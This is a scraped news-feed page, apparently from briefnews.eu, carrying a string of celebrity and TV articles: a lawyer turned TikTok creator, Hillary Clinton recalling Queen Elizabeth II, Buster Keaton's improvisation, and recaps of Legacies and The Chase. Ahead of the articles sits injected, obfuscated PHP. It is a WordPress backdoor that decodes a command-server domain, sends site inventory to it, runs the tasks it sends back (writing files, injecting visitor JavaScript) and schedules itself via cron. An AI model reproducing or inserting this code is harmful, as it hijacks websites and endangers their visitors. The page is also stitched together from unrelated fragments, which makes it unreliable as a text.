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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); always – Brief News https://briefnews.eu Latest World News. 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Henna Choi
Henna Choi left a high-paying job as a lawyer to pursue making TikTok videos.

Henna Choi

  • Henna Choi, 28, left a high-paying job as a lawyer to pursue making TikTok videos. 
  • She shares videos about her everyday life on TikTok. Her account has more than 470,000 followers.
  • Choi said her family's support has allowed her to nurture her creativity and follow her passions.

This as-told-to essay is based on a conversation with Henna Choi, a 28-year-old lawyer who is on leave from her job. It has been edited for length and clarity.

As the firstborn daughter of an immigrant family who comes from a culture where education is the most revered thing, I always knew I was going to have a big job. What I didn't know was that I would leave that job after just two years.

I always felt the internal pressure that so many children of immigrants feel. I had to succeed, and I had to succeed in the ways that my parents would find impressive — basically, I had to be a doctor, lawyer, or engineer. I chose law because I figured that's what I would be best at.

In undergrad, I double-majored in women and gender studies and equity studies, with a focus on race and disability. I figured that I could use my platform as a lawyer to help people who really needed it, but that's not quite how it worked out.

Becoming a lawyer was expensive

I have almost $ 80,000 in student loans. The pressure to find a high-paying job to pay off your student loans is enormous, so when I was offered a job that gives commission on top of base pay, I took it right away.

I was still able to help disabled people in my position, but it wasn't what I dreamt of when I was in law school. Between the reality of how little I enjoyed being a lawyer and my mental-health struggles with depression, I knew it was time to take a break — especially since I hadn't been on a vacation in years after going straight from undergrad to law school.

Now that I'm on a break from my job, I'm freaking out

This is the first time in my adult life I've had this much unstructured time for myself. In the back of my mind, I keep reminding myself that I can go back to the structure and safety of my life as a lawyer, but something is pulling me in another direction.

The thing is, I've always wanted to do something creative for work. As a child, I wanted to be an artist.

A few months ago, I found a creative outlet that really worked for me: TikTok. I share videos of my everyday life as a self-described "depressed lawyer," and I have more than 470,000 followers now. My success on TikTok has made me feel like maybe I can do what I want with my life — or at the very least, I can try to. There's so much uncertainty in my life, but there's also excitement and beauty like I've never experienced before.

It's terrifying to leave a secure, high-paying job, and I wouldn't be able to do it without my family

They've been so supportive of me taking a leave from my job and of the content I post on TikTok, even though my upbringing and our family relationships are sometimes the source of my content. They watch my videos every day and we talk about what I share. It's kind of wild, but it's also very simple: they just want to see me happy.

I thought I had to be an extremely successful person within the narrow boundaries of what society sees as successful for them to be supportive, but that's not true at all. They want what's best for me, even if that means not being a lawyer anymore. 

The financial aspect of taking leave is definitely stressful, but I live in Canada, and I'm lucky to be able to partake in the country's unemployment benefits. I make the rest work through savings and a little bit of family support. 

If my younger self could see me now, her first question would be, "What do Mom and Dad think?" It's so nice to think I could answer that with the truth: They're being genuinely supportive and allowing me to feel safe enough to take this chance.

I'm trying to nurture the creative soul inside of me instead of suffocating it

When I tried to stuff down my creativity and desire to be a good lawyer, I was deeply unhappy, and it took a serious toll on my mental health. Not being who you really are is painful to live with every day. I think my inner child would be proud. She always wanted to be an artist.

I don't know what's going to come next. I don't know if I'm going to return to my life as a lawyer or if I'll make it in the world as a creative person, but I do know I have to try. I was tired of fighting with myself. Going forward, we're on the same team.

I was raised to think quitting is terrible and you have to finish what you started, but I realized that allowing yourself the space to change your mind is so empowering. It's powerful to choose what you want your life to be like. Quitting something that isn't working for you is a good thing. Trying for something new is even better.

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  • Former Secretary of State Hillary Clinton shared some of her memories with Queen Elizabeth II.
  • Clinton said she and the late Queen had privately remarked on being women leaders.
  • The late Queen's coffin was driven from Balmoral Castle to Edinburgh on Sunday.

Former Secretary of State Hillary Clinton shared her memories with Queen Elizabeth II as funeral processions have begun for the late monarch.

On CNN's "State of the Union" with Dana Bash on Sunday, Clinton said she and Queen Elizabeth II would sometimes share "wry" comments about being women leaders on an international stage.

"I can't say that I talked at any length. Sometimes, there would be a wry exchange about how, as a woman leader, you always had to have your hair done," Clinton said on Sunday. "Of course, she always looked perfect, unlike some of us. She had a sense of style that really stayed with her."

 

Clinton described the late Queen as a "symbol of a strong, stalwart woman leader."

"I knew that her sense of who she was and the role she played literally governed her life, from every second of it," Clinton said, adding that she heard an interesting statistic that nine out of 10 people alive in the world today were born after she became Queen Elizabeth took the throne.

US President Bill Clinton (C) and his wife Hillary (L) meet talk with Britain's Queen Elizabeth II at Buckingham Palace in London 14 December 2000.
US President Bill Clinton and his wife Hillary talk with Queen Elizabeth II at Buckingham Palace in London on December 14, 2000.

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Clinton praised the Queen for her "devotion to duty and her sense of obligation" to her people. 

"But I also saw a more playful and somewhat funny and very, incredibly warm side of her as well," Clinton said. "All of the presidents, all of the prime ministers, everyone that she met, I think, saw that twinkle in her eye, and maybe were lucky enough to exchange pleasantries that went beyond just the official greetings."

Clinton added: "And that's how I felt. I felt very fortunate to see her in different settings over the time that I knew her as first lady and then secretary of state."

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Buster Keaton was one of the biggest names in early cinema, famous for his physical comedy. He thrived on an ability to improvise these gags; Keaton grew up as a vaudeville performer, and spent his childhood improvising slapstick routines with his father onstage. As a Hollywood filmmaker, Keaton continued to rely on improvisation for his comedy — but this required him to follow one simple rule. 

Keaton got his start as an entertainer traveling in a company alongside Harry Houdini. It was here that he learned to improvise fluidly and hilariously. His first time in front of a camera was in Fatty Arbuckle’s “The Butcher Boy.” “[Arbuckle] only had to turn me loose in the set and I’d have material in two minutes, because I’d been doing it all my life,” Keaton explained (via A Hard Act to Follow).

When it came to his own films, Keaton made sure there was space for on-the-spot creative decisions: “Well as a rule, oh about 50 percent you have in your mind before you start the picture, and the rest you develop as you’re making it,” Keaton told Studs Turkel. “We never even thought of writing a script, we didn’t need to.” 

Silent film stars often left lots of room for improvisation in their work — in fact, they would often approach a film with only the beginning and end in mind. As far as Keaton and his counterparts were concerned, the path from point A to point B was half of the journey. “When we get the start and the finish, we’ve got it, because … the middle we can always take care of. That’s easy.”

There Was No Script To Follow

Keaton favored extreme gags over narratives, which is why he chose to make “Sherlock Jr.” “I laid out a few of these tricks, some of the tricks I knew from the stage,” he recalled (via A Hard Act to Follow). But he realized he couldn’t “do it and tell a legitimate story because they’re illusions … it’s got to come in a dream.” He chose the premise of a projectionist that falls asleep on the job so he could totally suspend reality. Keaton was all about maximizing his creative freedom.

Through creative storytelling, Keaton was able to improvise heavily for many years. Silent cinema left things so open-ended that the Hollywood legend would not even begin to work with a script until “The Cameraman” in 1929. However, when MGM and other studios moved exclusively into talking pictures, cinema changed forever. “New York stage directors, New York writers, dialogue writers, and the musicians union all moved to Hollywood,” Keaton recounted to CBC. The new writers brought with them a new style of writing, one that Stone Face described as “joke-happy.” “They don’t look for the action, they’re looking for funny things to say,” he lamented. 

Keaton and the other kings of physical comedy struggled when silent films fell out of fashion — the film industry had new priorities. Keaton would go on to make several sound films, including the 1931 hit “Sidewalks of New York” (which was actually the actor’s most commercially successful film). Still, the actor lost the creative freedom he had enjoyed as a silent film director, including the freedom to improvise. 

Read this next: The 20 Most Influential Comedy Stars In Movie History

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For the second time in a row, Legacies kicked off a new season with Hope out of commission, leaving her classmates to scramble like headless chickens — angsty, magical headless chickens.

With the threat of Wednesday Addams Dark Josie finally behind them, the students of the Salvatore School attempted to piece together their fractured community on Thursday with some good ol’ fashioned physical fitness. (Seriously, why did Alaric think that a field day would solve anything? These kids were better off when fake Professor Vardemus was in charge.)

As predicted, the field day was a complete disaster — like, almost apocalyptically bad — though not for the reasons we all assumed. You see, Chad accidentally summoned a new Malivore monster named Nimue (aka the Lady of the Lake), followed by a skull-crushing baddie called the “Green Knight,” both of whom sought the fabled sword Excalibur. Nimue explained that only a “worthy” warrior could wield the blade against the Green Knight, but she conveniently forgot to clarify that “worthy” meant being born of a royal blood line.

After multiple failed attempts to remove the sword from the stone — including a cathartic two-person effort, courtesy of the Saltzman twins — Rafael showed up, yanked the legendary metal from its stone sheath, and plunged Excalibur into the Green Knight’s gross head. Apocalypse averted!

Meanwhile, the Necromancer spent the hour attempting to force Landon’s soul back into his physical body, which was the only way he could receive all the tasty black magic he so desperately craves. (Question for the group: If you didn’t rewatch the Season 2 finale, were you struggling to follow some of these rules?) Landon eventually did reclaim his body, but only to wake Hope up with a kiss; she surmised that her body must have sensed Landon was “dead,” so it just let her keep sleeping. (While we’re glad to see Hope conscious again, that resolution felt a little… convenient. Like when Bonnie suddenly broke Elena’s sleeping curse in the Vampire Diaries series finale without breaking a sweat, making us wonder why she didn’t just do it sooner.)

Then… one last twist! Chad and Alyssa, who formally joined “Team Monster” after Lizzie publicly shamed her for murdering her own parents (rude!), were taking a stroll in the woods, when Chad suddenly vomited black goo and died. Desperate to avoid meeting that same fate, Alyssa pledged her allegiance to the Necromancer, formally becoming his “eternal acolyte.”

Below, executive producer Brett Matthews answers a few of TVLine’s burning questions about the Season 3 premiere, including whether we might finally see Caroline back at the Salvatore School:

TVLINE | Rafael being of royal descent was a twist I didn’t see coming. Is this the beginning of a new journey for him?
This episode was really about the Super Squad banding together in Hope’s absence, so that moment for Raf was obviously a very big one. Raf’s journey through the first couple of seasons has always been about family. As a foster child, he’s always wondered where he comes from, and finding out that he’s connected to a royal blood line is an unexpected answer to that question. So he’s finally beginning to discover all of the things he’s always wanted to know about himself, including his family origins. He really felt like the perfect person to come in and save the day.

TVLINE | This is the second season that started with Hope out of commission and everyone having to pick up the slack. Was that intentional?
[Laughs] Well, the first couple episodes of this season were meant to go at the end of Season 2, so there was going to be a recurring theme there. You can kind of see where we intended to end the second season. We’ve gone back in and reworked some of those episodes a little bit. It was a unique experience that we all hope we never have to do again. I was just finishing the script for Episode 20 when we pulled the plug. You’ll definitely see the bones of where Season 2 would have ended; we think of the first four episodes as the “first chapter” of Season 3.

TVLINE | Josie wants to spend some time with Caroline, I have to ask the question I ask every season: Any chance we’ll see Candice King?
Our answer is still the same, and you’re probably sick of hearing it, but the door is always open to Candice. We love her and think so highly of her, and we love Caroline Forbes so much. We would be thrilled [to have her back], but it’s really up to her. We’d love to have the challenge of figuring out how Caroline fits into Legacies, be that for an episode or an arc or whatever. But it obviously depends on her schedule and the opportunities she’s pursuing in her career. While Legacies is very much a show that’s doing its own thing, it’s built upon the legacies of the other shows — hence the title being what it is — so we’d love that.

TVLINE | Now for the question on everyone’s mind: Is Chad really gone? Death tends to be pretty fluid in this universe.
Death is pretty fluid, but at the same time, it did feel like a tragic end to Chad. He’s a small character, but he definitely grew on us. I don’t know if we’ll ever see Chad again, but he’s pretty definitely dead at the end of this episode. His impact on the Necromancer will be felt moving forward. He will live on in other ways.

Your thoughts on Legacies‘ third season premiere? What were some of your favorite moments that we didn’t discuss above? Grade the episode below, then drop a comment with your full review.

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]]> https://briefnews.eu/legacies-ep-on-what-rafaels-premiere-discovery-really-means-hes-always-wondered-where-he-comes-from/feed/ 0 Bradley Walsh silenced as Judy Murray hits back after The Chase mishap ‘Always been quick’ https://briefnews.eu/bradley-walsh-silenced-as-judy-murray-hits-back-after-the-chase-mishap-always-been-quick/ https://briefnews.eu/bradley-walsh-silenced-as-judy-murray-hits-back-after-the-chase-mishap-always-been-quick/#respond Tue, 22 Dec 2020 19:31:00 +0000 https://briefnews.eu/bradley-walsh-silenced-as-judy-murray-hits-back-after-the-chase-mishap-always-been-quick/

Bradley Walsh, 60, was on hand to try and help former Strictly Come Dancing star Judy, 61, broadcaster John Inverdale, 63, actor Bernard Cribbins, 91, and television personality Scarlett Moffatt, 30, win some money for their chosen charities. Before they could do so, the team had to take on all five Chasers, who were dressed as iconic characters from the history of music. However, in the midst of The Chase Christmas special, the ITV quiz show host lost his composure and as a result, didn’t complete the question he was asking the tennis coach and her opponent, Jenny ‘The Vixen’ Ryan, 38.

The moment came when the presenter asked: “A young girl kills the first person she meets and then teams up with three strangers to kill again’ described which film?”

Explaining the choices of answers the pair had to choose from, Bradley said: “A, Into the Woods, B, The Wizard of Oz, C…”

Unfortunately, he couldn’t say the latter option of Annie Get Your Gun as he burst into hysterics thinking Wizard of the Oz was an absurd answer.

However, the countdown of the clock began and as a result, both Jenny and the former Strictly contestant locked in their answers.

Realising he’d made an error and the game had continued without him, the host declared: “You can’t! What? No! I haven’t said the last one yet.”

READ MORE: The Chase: Bradley Walsh tells off player ‘Breaking my table!’

“Who pressed? Who pressed? Who pressed?” he asked the players, to which Jenny replied: “You never were going to press it!”

Frustrated over the mishap, Bradley asked: “Who pressed? I haven’t said C yet!” but Judy thought she’d hit back at the presenter.

“I’ve always been quick off the mark,” she said, silencing the host of the show as he smirked at the camera.

The presenter then wanted to continue with the game as he told the tennis coach she had locked down Into The Woods as her answer.

Putting their heads together for the first time in the episode, the four celebrities managed to accumulate 21 points Mark ’The Beast’ Labbett, 54, would have to match if he wanted to defeat them.

The Chaser decided to dress up as music legend Noddy Holder, 74, which was well-received by his opponents.

By the end of the Final Chase and with several pushbacks, the contestants managed to win the jackpot for their chosen charities.

This meant each player made a donation of £5,500 to a cause close to their hearts but the quizmaster was very frustrated he had been beaten.

However, he did still applaud their efforts and said the team were “very well deserved” winners of the game.

Taking to Twitter, viewers reacted to the result of the show, with one writing: “Glad the charities get some cash #TheChase.”

Another added: “You’ve got to let any team that includes Sir Bernard Cribbins win – he’s a national treasure!… #thechase.”

Whilst a third simply commented: “Well done team #TheChase.”

The Chase airs weekdays at 5pm on ITV.

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]]> https://briefnews.eu/bradley-walsh-silenced-as-judy-murray-hits-back-after-the-chase-mishap-always-been-quick/feed/ 0 Adam Henson left emotional as he details ‘moving’ Children in Need impact ‘I always cry’ https://briefnews.eu/adam-henson-left-emotional-as-he-details-moving-children-in-need-impact-i-always-cry/ https://briefnews.eu/adam-henson-left-emotional-as-he-details-moving-children-in-need-impact-i-always-cry/#respond Mon, 09 Nov 2020 12:14:22 +0000 https://briefnews.eu/adam-henson-left-emotional-as-he-details-moving-children-in-need-impact-i-always-cry/

Adam then thanked all the Countryfile viewers who’d donated, whether it be on the rambles themselves or purchasing a charity calendar or tea towel.

However, the interview took an emotional turn when Gethin asked about one particular moment which touched the farmer.

“Adam, this is a really, really difficult question to ask you,” Gethin began. “Is there a story, one story, that sticks out for you, that sort of brings it all together?”

Adam candidly responded: “I mean, they’re all incredibly moving.

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]]> https://briefnews.eu/adam-henson-left-emotional-as-he-details-moving-children-in-need-impact-i-always-cry/feed/ 0 New Grey’s Anatomy/Station 19 Promo Salutes the Essential Workers ‘Who Always Show Up to Save the Day’ https://briefnews.eu/new-greys-anatomy-station-19-promo-salutes-the-essential-workers-who-always-show-up-to-save-the-day/ https://briefnews.eu/new-greys-anatomy-station-19-promo-salutes-the-essential-workers-who-always-show-up-to-save-the-day/#respond Thu, 08 Oct 2020 16:41:17 +0000 https://briefnews.eu/new-greys-anatomy-station-19-promo-salutes-the-essential-workers-who-always-show-up-to-save-the-day/

Grey’s Anatomy and Station 19 got real in the promo released Thursday ahead of the sister series’ November 12 premieres. The clip, you see, doesn’t just feature the ABC shows’ fictional life savers, it also shines a spotlight on actual essential workers from across the US.

“We all have heroes,” begins Grey’s leading lady Ellen Pompeo’s voiceover, “people we aspire to be… the ones who fight… who help us to survive…

“When it matters, the ones who always show up to save the day,” she concludes. “Thank you.”

It’s not just the video that’s paying tribute to essential workers, either; Season 17 of Grey’s Anatomy and Season 4 of Station 19 — which are kicking off with a two-hour crossover event — are also being produced in their honor. “This season, our work is dedicated to the healthcare workers who put their lives on the line every day to try to save ours,” explains Krista Vernoff, showrunner for both dramas. “Wear a mask, save someone else’s life.”

In an Instagram post, Pompeo added that “since we shut down filming [in March], 7,000 healthcare workers have died from Covid. I dedicate my Season 17 to all who have fallen and to every one of you who by the grace of God is still standing…

“This season is for you with humility and a bit of humor to get us through,” she continued, “and endless amounts of gratitude. I hope we do you proud.”

Previously, Vernoff told TVLine that the pandemic would play into both series. It’s “a whole new world for our hospital and for all of our characters.” Regardless, she promised that at least Station 19 was moving into a lighter season than its previous one. “The team pulls together and finds a lot of joy despite the heaviness of the world.”

Press PLAY on the video above to check it out. Then hit the comments with your hopes for Season 17 of Grey’s and Season 4 of Station 19.

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]]> https://briefnews.eu/new-greys-anatomy-station-19-promo-salutes-the-essential-workers-who-always-show-up-to-save-the-day/feed/ 0 Rick and Morty theories: Fans expose hilarious way Rick always identifies himself https://briefnews.eu/rick-and-morty-theories-fans-expose-hilarious-way-rick-always-identifies-himself/ https://briefnews.eu/rick-and-morty-theories-fans-expose-hilarious-way-rick-always-identifies-himself/#respond Wed, 11 Mar 2020 07:19:21 +0000 https://briefnews.eu/rick-and-morty-theories-fans-expose-hilarious-way-rick-always-identifies-himself/

So far this season fans have been treated to parodies of the time travel genre, heist thrillers and fantasy epics.

However, the onslaught of fan theories like this have led some to believe Rick and Morty will introduce some major revelations in the latter half of the current season.

No exact release date has been set for the show’s return, but a recent teaser has spurred hopes it could be back within the next month.

Rick and Morty season 4 will return to Adult Swim and E4 in 2020.

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]]> https://briefnews.eu/rick-and-morty-theories-fans-expose-hilarious-way-rick-always-identifies-himself/feed/ 0 The Affair EP Laments Cole and Alison’s ‘Fairytale Love,’ Suggests That They Were Always ‘Doomed’ https://briefnews.eu/the-affair-ep-laments-cole-and-alisons-fairytale-love-suggests-that-they-were-always-doomed/ https://briefnews.eu/the-affair-ep-laments-cole-and-alisons-fairytale-love-suggests-that-they-were-always-doomed/#respond Mon, 04 Nov 2019 03:54:48 +0000 http://briefnews.eu/the-affair-ep-laments-cole-and-alisons-fairytale-love-suggests-that-they-were-always-doomed/

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Warning: The following contains spoilers from The Affair series finale.

Despite not appearing during the fifth and final season of The Affair, Joshua Jackson’s Cole Lockhart and Ruth Wilson’s Alison Bailey were still very much a part of the show. That was partly due to the presence of new cast member Anna Paquin, who played Cole and Alison’s grown-up daughter Joanie, and partly due to the frequent use of flashbacks, which helped fill at least part of the void left by one of the series’ two central couples.

As exec producer Sarah Treem implied in Part 1 of our series finale conversation (which you can read here), a happy ending for the former Montauk sweethearts wasn’t in the cards when she first conceived of the show. But what about later, when The Affair became less interested in telling stories about Noah and Alison, and more interested in exploring the dynamics between the original pairings? What would have happened between Alison and Cole had Wilson and Jackson stuck around for the series’ last stretch?

“It’s a good question, but it’s a hypothetical because we never really got a chance to explore that,” Treem tells TVLine. “I never honestly thought that everybody was going to get back together. That didn’t seem like reality. I don’t think all love finds its way back again… so even Noah and Helen finding their way back to each other is pretty significant.”

“My feeling was always that the true, sort of uncompromised love of the show was actually Alison and Cole,” she says. “Those are two characters for whom a tragedy split them apart, not their bad choices. The original rupture in their relationship came from the unspeakable tragedy of [losing Gabriel]. So it felt to me that if theirs was true love — and Noah says early on that true love can’t survive in an imperfect world — that their love was actually doomed. That was kind of the fairytale love, and it was Noah and Helen whose love is much more compromised and, to me, kind of realistic. In a long-term marriage, people do hurt each other over and over again for no really good reason, just because life is strange and long and hard. And to get those two characters back together at the end, I thought, was the bigger challenge — and the more interesting one.”

And that’s why, even if she had the chance, Treem wouldn’t necessarily have had Cole and Alison find their way back to each other.

“I felt for Alison and Cole to come back together would have been a little obvious,” she admits. “I know that’s what everybody is rooting for, but it would have been kind of a movie ending, and I didn’t want to do that. And I felt that, even in the previous construct, when I was thinking of all four of these characters ending the show together, not all of them were going to survive. Way back when, I thought, ‘Not everybody’s going to make it here.’”

What did you think of The Affair‘s series finale? Grade it via the following poll, then discuss in the comments.

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]]> https://briefnews.eu/the-affair-ep-laments-cole-and-alisons-fairytale-love-suggests-that-they-were-always-doomed/feed/ 0 Jodie Comer says she will always regret parents snub at Emmy win https://briefnews.eu/jodie-comer-says-she-will-always-regret-parents-snub-at-emmy-win/ https://briefnews.eu/jodie-comer-says-she-will-always-regret-parents-snub-at-emmy-win/#respond Thu, 26 Sep 2019 23:39:24 +0000 http://briefnews.eu/jodie-comer-says-she-will-always-regret-parents-snub-at-emmy-win/

Liverpool-born Jodie, who beat co-star Sandra Oh to an Emmy, told Variety: “It’s nice to bring your parents to these things. But I just said, ‘Oh no, sit this one out. Now’s not my time.’  I’m probably not going to ever live that one down with them – they’ll be coming to every single thing now.” The actress said she was stunned when her name was called out. She said: “I was in a complete state of shock. During the day I was strangely calm because I didn’t think it would be me. But it also happened so fast. You’re standing in front of all of these people – you want to say the right thing and don’t want to miss anybody. 

“You want to soak it up, not rush it, and take it all in. I feel like I blabbered on a lot.” 

The BBC drama features Sandra Oh as an MI5 agent on the tail of Jodie’s Russian assassin.

It also stars actress Fiona Shaw. Jodie said there were “no hard feelings” after beating Sandra to the Emmy last Sunday. 

The pair have gone head to head for acting accolades before but Jodie said it did not make them feel uncomfortable. 

“I think people think it’s more awkward than it is,” Jodie said. 

“I’ve always said I feel incredibly fortunate to be part of a show that has two female leads that are complex and in the same category. 

“It’s pretty special that we’re both in there together. 

“We’re so celebratory of each other, as is the whole crew. There are no hard feelings.” 

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